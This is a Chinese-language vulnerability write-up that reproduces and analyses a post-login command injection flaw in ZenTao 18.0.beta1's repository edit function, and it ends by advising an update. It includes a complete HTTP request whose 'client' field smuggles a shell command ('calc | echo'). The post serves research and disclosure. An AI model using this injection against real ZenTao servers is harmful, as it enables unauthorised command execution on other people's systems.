禅道后台命令执行漏洞

admin 2024年9月29日00:52:07评论48 views字数 1701阅读5分40秒阅读模式

漏洞简介

禅道是第一款国产的开源项目管理软件。它集产品管理、项目管理、质量管理、文档管理、 组织管理和事务管理于一体,是一款专业的研发项目管理软件,完整地覆盖了项目管理的核心流程。
禅道管理思想注重实效,功能完备丰富,操作简洁高效,界面美观大方,搜索功能强大,统计报表丰富多样,软件架构合理,扩展灵活,有完善的 API 可以调用。

禅道后台存在 RCE 漏洞,均存在于历史版本,对这些漏洞进行复现分析。

环境搭建

源码下载地址 https://dl.cnezsoft.com/zentao/18.0.beta1/ZenTaoPMS.18.0.beta1.php7.2_7.4.zip

利用 phpstudy 来进行环境的搭建

禅道后台命令执行漏洞

漏洞复现

登录后台创建 GitLab 类型的代码库

禅道后台命令执行漏洞
禅道后台命令执行漏洞

点击 DevOps 模块的设置选项,修改创建的代码库

禅道后台命令执行漏洞
禅道后台命令执行漏洞

点击保存并抓取数据包

修改参数 SCM 和 client SCM 修改为 Subversion client 修改为 calc | echo "

禅道后台命令执行漏洞

触发了命令执行,执行了两次

禅道后台命令执行漏洞

漏洞分析

发现有一些分析文章中描述需要先创建一个代码仓库,也指出了创建代码仓库的原因,因为调用的是 edit 方法,所以要先 create

经过调试发现这是必须的,因为在没创建代码库时,执行 edit 方法,会提示跳转去创建代码库

module/repo/control.php#commonAction

禅道后台命令执行漏洞

所以需要先创建代码库

module/repo/control.php#create

禅道后台命令执行漏洞

module/repo/model.php#create

禅道后台命令执行漏洞

在创建代码库的时候有一个检查 Client 的操作 只有选择 Gitlab 才能不做客户端的检测操作,直接创建成功

module/repo/model.php#checkClient

禅道后台命令执行漏洞

创建成功后执行编辑操作触发漏洞

POST /index.php?m=repo&f=edit&repoID=0 HTTP/1.1
Host: test.test
Content-Length: 36
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/index.php?m=repo&f=edit&repoID=1&objectID=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=bp9k0pcftu49b2ethm9f32hc5b; lang=zh-cn; device=desktop; theme=default; preExecutionID=1; moduleBrowseParam=0; productBrowseParam=0; executionTaskOrder=status%2Cid_desc; windowWidth=1440; windowHeight=722; tab=devops; repoBranch=master;XDEBUG_SESSION=PHPSTORM
Connection: close

SCM=Subversion&client= calc | echo "

module/repo/control.php#edit

禅道后台命令执行漏洞

module/repo/model.php#update

禅道后台命令执行漏洞

module/repo/model.php#checkConnection

禅道后台命令执行漏洞
禅道后台命令执行漏洞

修复建议

更新至最新版本

原文始发于微信公众号(合天网安实验室):禅道后台命令执行漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月29日00:52:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   禅道后台命令执行漏洞https://cn-sec.com/archives/1975734.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息